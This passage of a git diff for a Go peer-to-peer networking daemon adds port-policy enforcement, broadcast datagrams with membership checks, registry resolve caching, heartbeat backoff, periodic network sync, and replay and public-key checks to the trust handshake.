pkt.DstPort, "size": len(pkt.Payload), + }) + d.ipc.DeliverDatagram(pkt.Src, pkt.SrcPort, pkt.DstPort, pkt.Payload) } func (d *Daemon) handleControlPacket(pkt *protocol.Packet) { @@ -932,7 +1809,7 @@ func (d *Daemon) sendRST(orig *protocol.Packet) { Version: protocol.Version, Flags: protocol.FlagRST, Protocol: protocol.ProtoStream, - Src: d.Addr(), + Src: orig.Dst, Dst: orig.Src, SrcPort: orig.DstPort, DstPort: orig.SrcPort, @@ -942,6 +1819,11 @@ func (d *Daemon) sendRST(orig *protocol.Packet) { // DialConnection initiates a connection to a remote address:port. func (d *Daemon) DialConnection(dstAddr protocol.Addr, dstPort uint16) (*Connection, error) { + // Enforce outbound port policy: prevent dialing ports blocked by the network + if !d.evaluatePortPolicy(policy.EventDial, dstAddr.Network, dstPort, dstAddr.Node, 0, "") { + return nil, fmt.Errorf("port %d not allowed by network %d policy", dstPort, dstAddr.Network) + } + // Ensure we have a tunnel to the destination if err := d.ensureTunnel(dstAddr.Node); err != nil { return nil, err @@ -977,17 +1859,17 @@ func (d *Daemon) DialConnection(dstAddr protocol.Addr, dstPort uint16) (*Connect // Phase 1: Direct connection (3 retries). // Phase 2: Relay through beacon if direct fails (3 more retries). retries := 0 - directRetries := 3 - maxRetries := 6 + directRetries := DialDirectRetries + maxRetries := DialMaxRetries relayActive := d.tunnels.IsRelayPeer(dstAddr.Node) // may already be relay from prior attempt if relayActive { directRetries = 0 // skip direct phase, go straight to relay } - rto := 1 * time.Second + rto := DialInitialRTO timer := time.NewTimer(rto) defer timer.Stop() - check := time.NewTicker(10 * time.Millisecond) + check := time.NewTicker(DialCheckInterval) defer check.Stop() for { @@ -1001,7 +1883,7 @@ func (d *Daemon) DialConnection(dstAddr protocol.Addr, dstPort uint16) (*Connect return conn, nil } if st == StateClosed { - return nil, fmt.Errorf("connection refused") + return nil, protocol.ErrConnRefused } case <-timer.C: retries++ @@ -1011,12 +1893,12 @@ func (d *Daemon) DialConnection(dstAddr protocol.Addr, dstPort uint16) (*Connect slog.Info("direct dial timed out, switching to relay", "node_id", dstAddr.Node) d.tunnels.SetRelayPeer(dstAddr.Node, true) relayActive = true - rto = 1 * time.Second // reset backoff for relay phase + rto = DialInitialRTO // reset backoff for relay phase } if retries > maxRetries { d.ports.RemoveConnection(conn.ID) - return nil, fmt.Errorf("dial timeout") + return nil, protocol.ErrDialTimeout } // Resend SYN (uses relay if relayActive) conn.Mu.Lock() @@ -1024,8 +1906,8 @@ func (d *Daemon) DialConnection(dstAddr protocol.Addr, dstPort uint16) (*Connect conn.Mu.Unlock() d.tunnels.Send(dstAddr.Node, syn) rto = rto * 2 // exponential backoff - if rto > 8*time.Second { - rto = 8 * time.Second + if rto > DialMaxRTO { + rto = DialMaxRTO } timer.Reset(rto) } @@ -1105,13 +1987,16 @@ func (d *Daemon) nagleFlush(conn *Connection) error { conn.NagleMu.Unlock() // Data in flight — wait for ACK or timeout + nagleTimer := time.NewTimer(NagleTimeout) select { case <-conn.NagleCh: + nagleTimer.Stop() // All data ACKed — flush now - case <-time.After(NagleTimeout): + case <-nagleTimer.C: // Timeout — flush regardless case <-conn.RetxStop: - return fmt.Errorf("connection closed") + nagleTimer.Stop() + return protocol.ErrConnClosed } // Re-check under lock after waking @@ -1156,9 +2041,11 @@ func (d *Daemon) sendDataImmediate(conn *Connection, data []byte) error { // sendSegment sends a single segment, waiting for the congestion window. // Implements zero-window probing when the peer's receive window is 0. func (d *Daemon) sendSegment(conn *Connection, data []byte) error { - probeInterval := 500 * time.Millisecond + probeInterval := ZeroWinProbeInitial // Wait for effective window to have space + probeTimer := time.NewTimer(probeInterval) + defer probeTimer.Stop() for { conn.RetxMu.Lock() avail := conn.WindowAvailable() @@ -1170,10 +2057,17 @@ func (d *Daemon) sendSegment(conn *Connection, data []byte) error { // Window full — wait for ACK to open it, with zero-window probing select { case <-conn.WindowCh: - probeInterval = 500 * time.Millisecond + probeInterval = ZeroWinProbeInitial + if !probeTimer.Stop() { + select { + case <-probeTimer.C: + default: + } + } + probeTimer.Reset(probeInterval) case <-conn.RetxStop: - return fmt.Errorf("connection closed") - case <-time.After(probeInterval): + return protocol.ErrConnClosed + case <-probeTimer.C: // Send zero-window probe (empty ACK) to trigger window update conn.Mu.Lock() probeSeq := conn.SendSeq @@ -1194,9 +2088,10 @@ func (d *Daemon) sendSegment(conn *Connection, data []byte) error { d.tunnels.Send(conn.RemoteAddr.Node, probe) // Exponential backoff up to 30s probeInterval = probeInterval * 2 - if probeInterval > 30*time.Second { - probeInterval = 30 * time.Second + if probeInterval > ZeroWinProbeMax { + probeInterval = ZeroWinProbeMax } + probeTimer.Reset(probeInterval) } } @@ -1243,7 +2138,7 @@ func (d *Daemon) sendSegment(conn *Connection, data []byte) error { // startRetxLoop starts the retransmission goroutine for a connection. func (d *Daemon) startRetxLoop(conn *Connection) { - conn.RTO = 1 * time.Second + conn.RTO = InitialRTO conn.RetxStop = make(chan struct{}) conn.RetxSend = func(pkt *protocol.Packet) { d.tunnels.Send(conn.RemoteAddr.Node, pkt) @@ -1252,7 +2147,7 @@ func (d *Daemon) startRetxLoop(conn *Connection) { } func (d *Daemon) retxLoop(conn *Connection) { - ticker := time.NewTicker(100 * time.Millisecond) + ticker := time.NewTicker(RetxCheckInterval) defer ticker.Stop() for { @@ -1300,7 +2195,7 @@ func (d *Daemon) retransmitUnacked(conn *Connection) { continue } if now.Sub(e.sentAt) > conn.RTO { - if e.attempts >= 8 { + if e.attempts >= MaxRetxAttempts { // Too many retransmissions — abandon connection slog.Error("max retransmits exceeded, sending RST", "conn_id", conn.ID) // Send RST to notify the remote peer @@ -1407,10 +2302,15 @@ func (d *Daemon) CloseConnection(conn *Connection) { // SendDatagram sends an unreliable packet. // If the destination is a broadcast address, sends to all members of that network. func (d *Daemon) SendDatagram(dstAddr protocol.Addr, dstPort uint16, data []byte) error { + // Enforce outbound port policy + if !d.evaluatePortPolicy(policy.EventDatagram, dstAddr.Network, dstPort, dstAddr.Node, len(data), "out") { + return fmt.Errorf("port %d not allowed by network %d policy", dstPort, dstAddr.Network) + } + srcPort := d.ports.AllocEphemeralPort() if dstAddr.IsBroadcast() { - return fmt.Errorf("broadcast is not available — custom networks are WIP") + return d.broadcastDatagram(dstAddr.Network, srcPort, dstPort, data) } if err := d.ensureTunnel(dstAddr.Node); err != nil { @@ -1431,7 +2331,12 @@ func (d *Daemon) SendDatagram(dstAddr protocol.Addr, dstPort uint16, data []byte } // broadcastDatagram sends a datagram to all members of a network. +// Only network members are allowed to broadcast. Backbone (network 0) is blocked. func (d *Daemon) broadcastDatagram(netID uint16, srcPort, dstPort uint16, data []byte) error { + if netID == 0 { + return fmt.Errorf("broadcast on backbone network is not permitted") + } + resp, err := d.regConn.ListNodes(netID) if err != nil { return fmt.Errorf("list nodes for broadcast: %w", err) @@ -1442,6 +2347,22 @@ func (d *Daemon) broadcastDatagram(netID uint16, srcPort, dstPort uint16, data [ return nil // no nodes } + // Verify sender is a member of the network + isMember := false + for _, n := range nodesRaw { + nodeMap, ok := n.(map[string]interface{}) + if !ok { + continue + } + if nid, ok := nodeMap["node_id"].(float64); ok && uint32(nid) == d.NodeID() { + isMember = true + break + } + } + if !isMember { + return fmt.Errorf("broadcast denied: node %d is not a member of network %d", d.NodeID(), netID) + } + for _, n := range nodesRaw { nodeMap, ok := n.(map[string]interface{}) if !ok { @@ -1456,6 +2377,12 @@ func (d *Daemon) broadcastDatagram(netID uint16, srcPort, dstPort uint16, data [ continue // skip self } + // Evaluate outbound datagram policy per recipient + if !d.evaluatePortPolicy(policy.EventDatagram, netID, dstPort, nodeID, len(data), "out") { + slog.Debug("broadcast: policy denied", "network_id", netID, "peer", nodeID) + continue + } + if err := d.ensureTunnel(nodeID); err != nil { slog.Warn("broadcast: skip node", "node_id", nodeID, "error", err) continue @@ -1475,17 +2402,92 @@ func (d *Daemon) broadcastDatagram(netID uint16, srcPort, dstPort uint16, data [ return nil } +// cacheEndpoint stores a resolved endpoint in the cache. +func (d *Daemon) cacheEndpoint(nodeID uint32, addr string) { + d.epCacheMu.Lock() + d.epCache[nodeID] = &endpointEntry{addr: addr, cachedAt: time.Now()} + d.epCacheMu.Unlock() +} + +// cachedEndpoint returns a previously cached endpoint, or empty string if none. +// The second return value is true if the entry exists (even if stale). +func (d *Daemon) cachedEndpoint(nodeID uint32) (string, bool) { + d.epCacheMu.RLock() + e, ok := d.epCache[nodeID] + d.epCacheMu.RUnlock() + if !ok { + return "", false + } + return e.addr, true +} + +// isEndpointStale returns true if the cached entry is older than EndpointCacheTTL. +// Stale entries are still usable as fallback, but a fresh resolve is preferred. +func (d *Daemon) isEndpointStale(nodeID uint32) bool { + d.epCacheMu.RLock() + e, ok := d.epCache[nodeID] + d.epCacheMu.RUnlock() + if !ok { + return true + } + return time.Since(e.cachedAt) > EndpointCacheTTL +} + +// CachedEndpoint returns a previously cached endpoint for a peer (exported for testing). +func (d *Daemon) CachedEndpoint(nodeID uint32) (string, bool) { + return d.cachedEndpoint(nodeID) +} + +// cachedResolve returns a cached registry resolve response if it exists and is fresh. +func (d *Daemon) cachedResolve(nodeID uint32) (map[string]interface{}, bool) { + d.resolveCacheMu.RLock() + e, ok := d.resolveCache[nodeID] + d.resolveCacheMu.RUnlock() + if !ok || time.Since(e.cachedAt) > ResolveCacheTTL { + return nil, false + } + return e.resp, true +} + +// cacheResolve stores a registry resolve response in the cache. +func (d *Daemon) cacheResolve(nodeID uint32, resp map[string]interface{}) { + d.resolveCacheMu.Lock() + d.resolveCache[nodeID] = &resolveEntry{resp: resp, cachedAt: time.Now()} + d.resolveCacheMu.Unlock() +} + // ensureTunnel makes sure we have a route to the given node. // Requests beacon hole-punching for NAT traversal when beacon is configured. +// Uses a resolve cache (60s TTL) to avoid repeated registry calls during +// cron bursts, and an endpoint cache as fallback when the registry is unreachable. func (d *Daemon) ensureTunnel(nodeID uint32) error { if d.tunnels.HasPeer(nodeID) { return nil } - // Resolve the node's real address from registry (requires our node ID) - resp, err := d.regConn.Resolve(nodeID, d.NodeID()) - if err != nil { - return fmt.Errorf("resolve node %d: %w", nodeID, err) + // Check resolve cache first (60s TTL) to avoid registry round-trip + resp, cached := d.cachedResolve(nodeID) + if !cached { + // Cache miss — resolve from registry + var err error + resp, err = d.regConn.Resolve(nodeID, d.NodeID()) + if err != nil { + // Registry unreachable — fall back to cached endpoint + if ep, ok := d.cachedEndpoint(nodeID); ok { + stale := d.isEndpointStale(nodeID) + slog.Warn("registry resolve failed, using cached endpoint", + "node_id", nodeID, "cached_addr", ep, "stale", stale, "error", err) + udpAddr, udpErr := net.ResolveUDPAddr("udp", ep) + if udpErr != nil { + return fmt.Errorf("resolve cached %s: %w", ep, udpErr) + } + d.tunnels.AddPeer(nodeID, udpAddr) + return nil + } + return fmt.Errorf("resolve node %d: %w", nodeID, err) + } + // Store in resolve cache for subsequent calls within TTL + d.cacheResolve(nodeID, resp) } realAddr, ok := resp["real_addr"].(string) @@ -1493,15 +2495,30 @@ func (d *Daemon) ensureTunnel(nodeID uint32) error { return fmt.Errorf("node %d has no real address", nodeID) } - udpAddr, err := net.ResolveUDPAddr("udp", realAddr) + // Same-LAN detection: if peer has LAN addresses matching our subnet, use LAN directly. + // Skip if our tunnel is bound to a different address family (e.g. IPv6 tunnel vs IPv4 LAN). + targetAddr := realAddr + if lanAddrs, ok := resp["lan_addrs"].([]interface{}); ok && len(lanAddrs) > 0 { + if lanAddr := matchLANSubnet(d.lanAddrs, lanAddrs); lanAddr != "" { + if !d.addrFamilyMismatch(lanAddr) { + targetAddr = lanAddr + slog.Info("same-LAN peer detected, using LAN address", "node_id", nodeID, "lan_addr", lanAddr) + } else { + slog.Debug("same-LAN peer skipped: address family mismatch with tunnel", "lan_addr", lanAddr) + } + } + } + + // Cache the resolved endpoint for fallback + d.cacheEndpoint(nodeID, targetAddr) + + udpAddr, err := net.ResolveUDPAddr("udp", targetAddr) if err != nil { - return fmt.Errorf("resolve %s: %w", realAddr, err) + return fmt.Errorf("resolve %s: %w", targetAddr, err) } - // Request beacon-coordinated NAT hole-punching (cheap, one UDP packet). - // Works for Full Cone, Restricted Cone, and Port-Restricted Cone NAT. - // For Symmetric NAT, hole-punching fails but relay fallback kicks in during DialConnection. - if d.config.BeaconAddr != "" { + // Only request hole-punching if NOT using LAN address + if targetAddr == realAddr && d.config.BeaconAddr != "" { d.tunnels.RequestHolePunch(nodeID) } @@ -1510,9 +2527,15 @@ func (d *Daemon) ensureTunnel(nodeID uint32) error { } func (d *Daemon) heartbeatLoop() { - ticker := time.NewTicker(30 * time.Second) + // Add random jitter (0-5s) to the initial tick to prevent thundering herd + // when many daemons restart simultaneously after a registry restart. + jitter := time.Duration(rand.Int63n(int64(5 * time.Second))) + time.Sleep(jitter) + + ticker := time.NewTicker(d.config.keepaliveInterval()) defer ticker.Stop() consecutiveFailures := 0 + reregBackoff := 100 * time.Millisecond // initial backoff for re-registration attempts for { select { case <-d.stopCh: @@ -1524,19 +2547,28 @@ func (d *Daemon) heartbeatLoop() { consecutiveFailures++ slog.Warn("heartbeat failed", "consecutive_failures", consecutiveFailures, "error", err) - // After 3 failures, try to re-register (the auto-reconnect in - // the registry client will re-establish the TCP connection, but - // after a registry restart we need to re-register our node) - if consecutiveFailures >= 3 { - slog.Info("attempting re-registration") + // After 3 failures, try to re-register with exponential backoff + jitter + if consecutiveFailures >= HeartbeatReregThresh { + // Backoff with jitter before attempting re-registration + jitter := time.Duration(rand.Int63n(int64(reregBackoff) / 2)) + time.Sleep(reregBackoff + jitter) + + slog.Info("attempting re-registration", "backoff", reregBackoff) d.reRegister() consecutiveFailures = 0 + + // Exponential backoff: 100ms → 200ms → 400ms → ... → 30s max + reregBackoff *= 2 + if reregBackoff > 30*time.Second { + reregBackoff = 30 * time.Second + } } } else { if consecutiveFailures > 0 { slog.Info("heartbeat recovered", "previous_failures", consecutiveFailures) } consecutiveFailures = 0 + reregBackoff = 100 * time.Millisecond // reset backoff on success // Re-register with beacon (keeps NAT mapping alive) if d.config.BeaconAddr != "" { @@ -1552,7 +2584,12 @@ func (d *Daemon) heartbeatLoop() { } // reRegister re-registers with the registry after a connection loss or registry restart. +// Checks d.stopCh between regConn calls to avoid racing with Stop(). func (d *Daemon) reRegister() { + if d.stopping() { + return + } + var registrationAddr string if d.config.Endpoint != "" { registrationAddr = d.config.Endpoint @@ -1565,7 +2602,7 @@ func (d *Daemon) reRegister() { // Always re-register with client-generated key pubKeyB64 := crypto.EncodePublicKey(d.identity.PublicKey) - resp, err := d.regConn.RegisterWithKey(registrationAddr, pubKeyB64, d.config.Owner) + resp, err := d.regConn.RegisterWithKey(registrationAddr, pubKeyB64, d.config.Owner, d.lanAddrs, d.config.Version) if err != nil { slog.Error("re-registration failed", "error", err) return @@ -1598,6 +2635,13 @@ func (d *Daemon) reRegister() { nodeID := d.nodeID slog.Info("re-registered", "node_id", nodeID, "addr", d.addr) d.addrMu.Unlock() + d.webhook.Emit("node.reregistered", map[string]interface{}{ + "address": d.addr.String(), + }) + + if d.stopping() { + return + } // Restore visibility and hostname after re-registration if d.config.Public { @@ -1611,6 +2655,27 @@ func (d *Daemon) reRegister() { } } + if d.stopping() { + return + } + + // Re-sync local trust pairs to registry (trust survives disconnection locally + // but the registry may have lost and re-loaded state) + if d.handshakes != nil { + peers := d.handshakes.TrustedPeers() + for _, rec := range peers { + if d.stopping() { + return + } + if _, err := d.regConn.ReportTrust(nodeID, rec.NodeID); err != nil { + slog.Debug("re-registration: failed to re-sync trust pair", "peer", rec.NodeID, "error", err) + } + } + if len(peers) > 0 { + slog.Info("re-synced trust pairs", "count", len(peers)) + } + } + // Re-register with beacon for NAT traversal if d.config.BeaconAddr != "" { d.tunnels.RegisterWithBeacon() @@ -1640,6 +2705,10 @@ func (d *Daemon) idleSweepLoop() { dead := d.ports.IdleConnections(idleTimeout) for _, conn := range dead { slog.Debug("closing dead connection", "conn_id", conn.ID, "idle_timeout", idleTimeout, "remote_addr", conn.RemoteAddr, "remote_port", conn.RemotePort) + d.webhook.Emit("conn.idle_timeout", map[string]interface{}{ + "remote_addr": conn.RemoteAddr.String(), "remote_port": conn.RemotePort, + "local_port": conn.LocalPort, "conn_id": conn.ID, + }) d.CloseConnection(conn) } @@ -1674,6 +2743,368 @@ func (d *Daemon) idleSweepLoop() { } } +// --------------------------------------------------------------------------- +// Network sync: periodic reconciliation of network state with the registry. +// --------------------------------------------------------------------------- + +// networkSyncLoop periodically refreshes network memberships, port policies, +// member tags, and policy runners from the registry. Runs every 5 minutes. +func (d *Daemon) networkSyncLoop() { + // Random jitter (0-30s) to spread load across fleet restarts. + jitter := time.Duration(rand.Int63n(int64(30 * time.Second))) + select { + case <-d.stopCh: + return + case <-time.After(jitter): + } + + ticker := time.NewTicker(DefaultNetworkSyncInterval) + defer ticker.Stop() + for { + select { + case <-d.stopCh: + return + case <-ticker.C: + d.syncNetworks() + } + } +} + +// syncNetworks fetches current network memberships from the registry and +// reconciles with local state: starts policy runners for new networks, stops +// them for removed networks, refreshes port policies and member tags. +func (d *Daemon) syncNetworks() { + if d.regConn == nil { + return + } + + // 1. Fetch current networks from registry. + newNets := d.nodeNetworks() + if newNets == nil { + slog.Debug("network-sync: registry unreachable, skipping") + return + } + + newSet := make(map[uint16]bool, len(newNets)) + for _, n := range newNets { + newSet[n] = true + } + + // 2. Determine previously known networks from local state. + oldSet := d.knownNetworkSet() + + // 3. Detect newly joined networks. + for netID := range newSet { + if netID == 0 { + continue + } + if !oldSet[netID] { + slog.Info("network-sync: new network detected", "network_id", netID) + d.webhook.Emit("network.sync_joined", map[string]interface{}{"network_id": netID}) + } + } + + // 4. Detect removed networks. + for netID := range oldSet { + if !newSet[netID] { + slog.Info("network-sync: network removed", "network_id", netID) + d.StopPolicyRunner(netID) + d.StopManagedEngine(netID) + d.clearNetworkState(netID) + d.webhook.Emit("network.sync_left", map[string]interface{}{"network_id": netID}) + } + } + + // 5. Refresh port policies for all current networks. + d.loadNetworkPolicies() + + // 6. Fetch full network list once for policy runner + managed engine sync. + var networkList []interface{} + listResp, err := d.regConn.ListNetworks() + if err == nil { + networkList, _ = listResp["networks"].([]interface{}) + } + + // 7. Start policy runners for new networks that have expr policies. + d.syncPolicyRunners(newNets, networkList) + + // 8. Start managed engines for new networks that have rules. + d.syncManagedEngines(newNets, networkList) + + // 9. Refresh member tags for all current networks. + d.syncMemberTags(newNets) + + // 10. Persist snapshot. + d.saveNetworkSnapshot(newNets) + + slog.Debug("network-sync: complete", "networks", len(newNets)) +} + +// knownNetworkSet returns the set of non-backbone network IDs the daemon +// currently has state for (policies, runners, managed engines, or member tags). +func (d *Daemon) knownNetworkSet() map[uint16]bool { + set := make(map[uint16]bool) + + d.netPolicyMu.RLock() + for netID := range d.netPolicies { + if netID != 0 { + set[netID] = true + } + } + d.netPolicyMu.RUnlock() + + d.policyMu.Lock() + for netID := range d.policyRunners { + set[netID] = true + } + d.policyMu.Unlock() + + d.managedMu.Lock() + for netID := range d.managed { + set[netID] = true + } + d.managedMu.Unlock() + + d.memberTagsMu.RLock() + for netID := range d.memberTags { + set[netID] = true + } + d.memberTagsMu.RUnlock() + + return set +} + +// clearNetworkState removes cached port policies and member tags for a network. +func (d *Daemon) clearNetworkState(netID uint16) { + d.netPolicyMu.Lock() + delete(d.netPolicies, netID) + d.netPolicyMu.Unlock() + + d.memberTagsMu.Lock() + delete(d.memberTags, netID) + d.memberTagsMu.Unlock() +} + +// syncPolicyRunners starts expr policy runners for newly joined networks. +// Already-running runners are left alone (policy content changes are handled +// by explicit admin RPCs, not periodic sync). +func (d *Daemon) syncPolicyRunners(nets []uint16, networkList []interface{}) { + if networkList == nil { + return + } + + netSet := make(map[uint16]bool, len(nets)) + for _, n := range nets { + netSet[n] = true + } + + for _, raw := range networkList { + n, ok := raw.(map[string]interface{}) + if !ok { + continue + } + hasPolicy, _ := n["has_expr_policy"].(bool) + if !hasPolicy { + continue + } + netIDf, _ := n["id"].(float64) + netID := uint16(netIDf) + if !netSet[netID] { + continue + } + + // Skip if already running. + d.policyMu.Lock() + _, running := d.policyRunners[netID] + d.policyMu.Unlock() + if running { + continue + } + + // Fetch and start. + pResp, err := d.regConn.GetExprPolicy(netID) + if err != nil { + slog.Debug("network-sync: cannot fetch expr_policy", "network_id", netID, "err", err) + continue + } + + var policyJSON json.RawMessage + switch v := pResp["expr_policy"].(type) { + case string: + policyJSON = json.RawMessage(v) + case map[string]interface{}: + b, _ := json.Marshal(v) + policyJSON = b + default: + continue + } + + if err := d.StartPolicyRunner(netID, policyJSON); err != nil { + slog.Warn("network-sync: failed to start policy runner", "network_id", netID, "err", err) + continue + } + slog.Info("network-sync: started policy runner", "network_id", netID) + } +} + +// syncManagedEngines starts managed engines for newly joined networks. +// Already-running engines are left alone. +func (d *Daemon) syncManagedEngines(nets []uint16, networkList []interface{}) { + if networkList == nil { + return + } + + netSet := make(map[uint16]bool, len(nets)) + for _, n := range nets { + netSet[n] = true + } + + for _, raw := range networkList { + n, ok := raw.(map[string]interface{}) + if !ok { + continue + } + rulesRaw, hasRules := n["rules"] + if !hasRules || rulesRaw == nil { + continue + } + netIDf, _ := n["id"].(float64) + netID := uint16(netIDf) + if !netSet[netID] { + continue + } + + // Skip if already running. + d.managedMu.Lock() + _, running := d.managed[netID] + d.managedMu.Unlock() + if running { + continue + } + + rb, _ := json.Marshal(rulesRaw) + rules, err := registry.ParseRules(string(rb)) + if err != nil { + slog.Debug("network-sync: invalid rules", "network_id", netID, "err", err) + continue + } + d.StartManagedEngine(netID, rules) + slog.Info("network-sync: started managed engine", "network_id", netID) + } +} + +// syncMemberTags refreshes the cached member tags for the local node +// across all joined networks. +func (d *Daemon) syncMemberTags(nets []uint16) { + nodeID := d.NodeID() + for _, netID := range nets { + if netID == 0 { + continue + } + resp, err := d.regConn.GetMemberTags(netID, nodeID) + if err != nil { + continue + } + tagsRaw, _ := resp["tags"].([]interface{}) + var tags []string + for _, t := range tagsRaw { + if s, ok := t.(string); ok { + tags = append(tags, s) + } + } + d.SetMemberTags(netID, tags) + } +} + +// saveNetworkSnapshot persists the current network state to {identityDir}/networks.json. +func (d *Daemon) saveNetworkSnapshot(nets []uint16) { + if d.config.IdentityPath == "" { + return + } + + d.netPolicyMu.RLock() + policies := make(map[uint16][]uint16, len(d.netPolicies)) + for k, v := range d.netPolicies { + policies[k] = v + } + d.netPolicyMu.RUnlock() + + d.memberTagsMu.RLock() + tags := make(map[uint16][]string, len(d.memberTags)) + for k, v := range d.memberTags { + tags[k] = v + } + d.memberTagsMu.RUnlock() + + snap := networkSnapshot{ + Networks: nets, + Policies: policies, + MemberTags: tags, + SyncedAt: time.Now().Format(time.RFC3339), + } + data, err := json.MarshalIndent(snap, "", " ") + if err != nil { + slog.Error("save network snapshot", "err", err) + return + } + + dir := filepath.Dir(d.config.IdentityPath) + path := filepath.Join(dir, "networks.json") + if err := os.MkdirAll(dir, 0700); err != nil { + slog.Error("create network snapshot directory", "dir", dir, "err", err) + return + } + if err := fsutil.AtomicWrite(path, data); err != nil { + slog.Error("write network snapshot", "err", err) + return + } + slog.Debug("network snapshot saved", "networks", len(nets)) +} + +// loadNetworkSnapshot loads cached network state from {identityDir}/networks.json. +// Used at startup to bootstrap port policies and member tags when the registry +// is temporarily unavailable. Only fills gaps — does not overwrite live data. +func (d *Daemon) loadNetworkSnapshot() { + if d.config.IdentityPath == "" { + return + } + + dir := filepath.Dir(d.config.IdentityPath) + path := filepath.Join(dir, "networks.json") + data, err := os.ReadFile(path) + if err != nil { + return // no file yet + } + + var snap networkSnapshot + if err := json.Unmarshal(data, &snap); err != nil { + slog.Warn("load network snapshot", "err", err) + return + } + + if len(snap.Policies) > 0 { + d.netPolicyMu.Lock() + for netID, ports := range snap.Policies { + if _, exists := d.netPolicies[netID]; !exists { + d.netPolicies[netID] = ports + } + } + d.netPolicyMu.Unlock() + } + + if len(snap.MemberTags) > 0 { + d.memberTagsMu.Lock() + for netID, t := range snap.MemberTags { + if _, exists := d.memberTags[netID]; !exists { + d.memberTags[netID] = t + } + } + d.memberTagsMu.Unlock() + } + + slog.Info("loaded network snapshot", "networks", len(snap.Networks), "synced_at", snap.SyncedAt) +} + // lookupPeerPubKey fetches a peer's Ed25519 public key from the registry. func (d *Daemon) lookupPeerPubKey(nodeID uint32) (ed25519.PublicKey, error) { resp, err := d.regConn.Lookup(nodeID) diff --git a/pkg/daemon/handshake.go b/pkg/daemon/handshake.go index 220e5277..702513d8 100644 --- a/pkg/daemon/handshake.go +++ b/pkg/daemon/handshake.go @@ -11,12 +11,11 @@ import ( "sync" "time" - "web4/internal/crypto" - "web4/internal/fsutil" - "web4/pkg/protocol" + "github.com/TeoSlayer/pilotprotocol/internal/crypto" + "github.com/TeoSlayer/pilotprotocol/internal/fsutil" + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" ) - // Handshake message types const ( HandshakeRequest = "handshake_request" @@ -29,20 +28,20 @@ const ( type HandshakeMsg struct { Type string `json:"type"` NodeID uint32 `json:"node_id"` - PublicKey string `json:"public_key"` // base64 Ed25519 public key - Justification string `json:"justification"` // why the sender wants to connect - Signature string `json:"signature"` // Ed25519 sig over "handshake::" - Reason string `json:"reason"` // rejection reason + PublicKey string `json:"public_key"` // base64 Ed25519 public key + Justification string `json:"justification"` // why the sender wants to connect + Signature string `json:"signature"` // Ed25519 sig over "handshake::" + Reason string `json:"reason"` // rejection reason Timestamp int64 `json:"timestamp"` } // TrustRecord holds information about a trusted peer. type TrustRecord struct { - NodeID uint32 - PublicKey string // base64 Ed25519 pubkey - ApprovedAt time.Time - Mutual bool // true if both sides initiated - Network uint16 // non-zero if trust is via network membership + NodeID uint32 + PublicKey string // base64 Ed25519 pubkey + ApprovedAt time.Time + Mutual bool // true if both sides initiated + Network uint16 // non-zero if trust is via network membership } // PendingHandshake is an unapproved incoming request. @@ -53,23 +52,31 @@ type PendingHandshake struct { ReceivedAt time.Time } -// Handshake replay protection constants +// Handshake timing constants const ( - handshakeMaxAge = 5 * time.Minute - handshakeMaxFuture = 30 * time.Second + handshakeMaxAge = 5 * time.Minute // replay protection: max message age + handshakeMaxFuture = 30 * time.Second // replay protection: max clock skew + handshakeReapInterval = 5 * time.Minute // how often to reap stale replay entries + handshakeRecvTimeout = 10 * time.Second // time to wait for handshake message + handshakeCloseDelay = 500 * time.Millisecond // delay before closing after send to let data flush + maxReplaySetEntries = 8192 // cap replay set to prevent unbounded growth between reaps + maxPendingHandshakes = 256 // cap pending (unapproved) handshake requests ) // HandshakeManager handles the trust handshake protocol on port 444. type HandshakeManager struct { mu sync.RWMutex daemon *Daemon - trusted map[uint32]*TrustRecord // approved peers - pending map[uint32]*PendingHandshake // incoming unapproved requests - outgoing map[uint32]bool // nodes we've sent requests to - storePath string // path to persist trust state (empty = no persistence) - wg sync.WaitGroup // tracks background RPCs for clean shutdown - reapStop chan struct{} // signals replay reaper to stop - stopOnce sync.Once // ensures reapStop is closed only once + trusted map[uint32]*TrustRecord // approved peers + pending map[uint32]*PendingHandshake // incoming unapproved requests + outgoing map[uint32]bool // nodes we've sent requests to + storePath string // path to persist trust state (empty = no persistence) + wg sync.WaitGroup // tracks background RPCs for clean shutdown + reapStop chan struct{} // signals replay reaper to stop + stopOnce sync.Once // ensures reapStop is closed only once + + // Webhook + webhook *WebhookClient // Replay protection replayMu sync.Mutex @@ -95,6 +102,11 @@ func NewHandshakeManager(d *Daemon) *HandshakeManager { return hm } +// SetWebhook configures the webhook client for event notifications. +func (hm *HandshakeManager) SetWebhook(wc *WebhookClient) { + hm.webhook = wc +} + // Stop waits for all background RPCs to finish and stops the replay reaper. func (hm *HandshakeManager) Stop() { hm.stopOnce.Do(func() { @@ -233,7 +245,7 @@ func (hm *HandshakeManager) Start() error { // Start periodic replay set reaper hm.reapStop = make(chan struct{}) go func() { - ticker := time.NewTicker(5 * time.Minute) + ticker := time.NewTicker(handshakeReapInterval) defer ticker.Stop() for { select { @@ -263,7 +275,7 @@ func (hm *HandshakeManager) handleConnection(conn *Connection) { return } hm.processMessage(conn, &msg) - case <-time.After(10 * time.Second): + case <-time.After(handshakeRecvTimeout): slog.Warn("handshake timeout waiting for message", "remote_addr", conn.RemoteAddr) } } @@ -291,6 +303,11 @@ func (hm *HandshakeManager) processMessage(conn *Connection, msg *HandshakeMsg) slog.Warn("handshake replay detected", "peer_node_id", msg.NodeID) return } + if len(hm.replaySet) >= maxReplaySetEntries { + hm.replayMu.Unlock() + slog.Warn("handshake replay set full, rejecting", "peer_node_id", msg.NodeID) + return + } hm.replaySet[msgHash] = now hm.replayMu.Unlock() @@ -300,8 +317,25 @@ func (hm *HandshakeManager) processMessage(conn *Connection, msg *HandshakeMsg) slog.Warn("handshake: missing signature from authenticated node", "peer_node_id", msg.NodeID) return } + + // M3 fix: verify claimed pubkey against registry-registered key + verifyKey := msg.PublicKey + if hm.daemon.regConn != nil { + resp, err := hm.daemon.regConn.Lookup(msg.NodeID) + if err == nil { + if regPubKey, ok := resp["public_key"].(string); ok && regPubKey != "" { + if regPubKey != msg.PublicKey { + slog.Warn("handshake: pubkey mismatch with registry", + "peer_node_id", msg.NodeID) + return + } + verifyKey = regPubKey + } + } + } + challenge := fmt.Sprintf("handshake:%d:%d", msg.NodeID, hm.daemon.NodeID()) - pubKeyBytes, err := base64.StdEncoding.DecodeString(msg.PublicKey) + pubKeyBytes, err := base64.StdEncoding.DecodeString(verifyKey) if err != nil { slog.Warn("handshake: invalid public key encoding", "peer_node_id", msg.NodeID, "err", err) return @@ -345,6 +379,9 @@ func (hm *HandshakeManager) reapReplay() { func (hm *HandshakeManager) 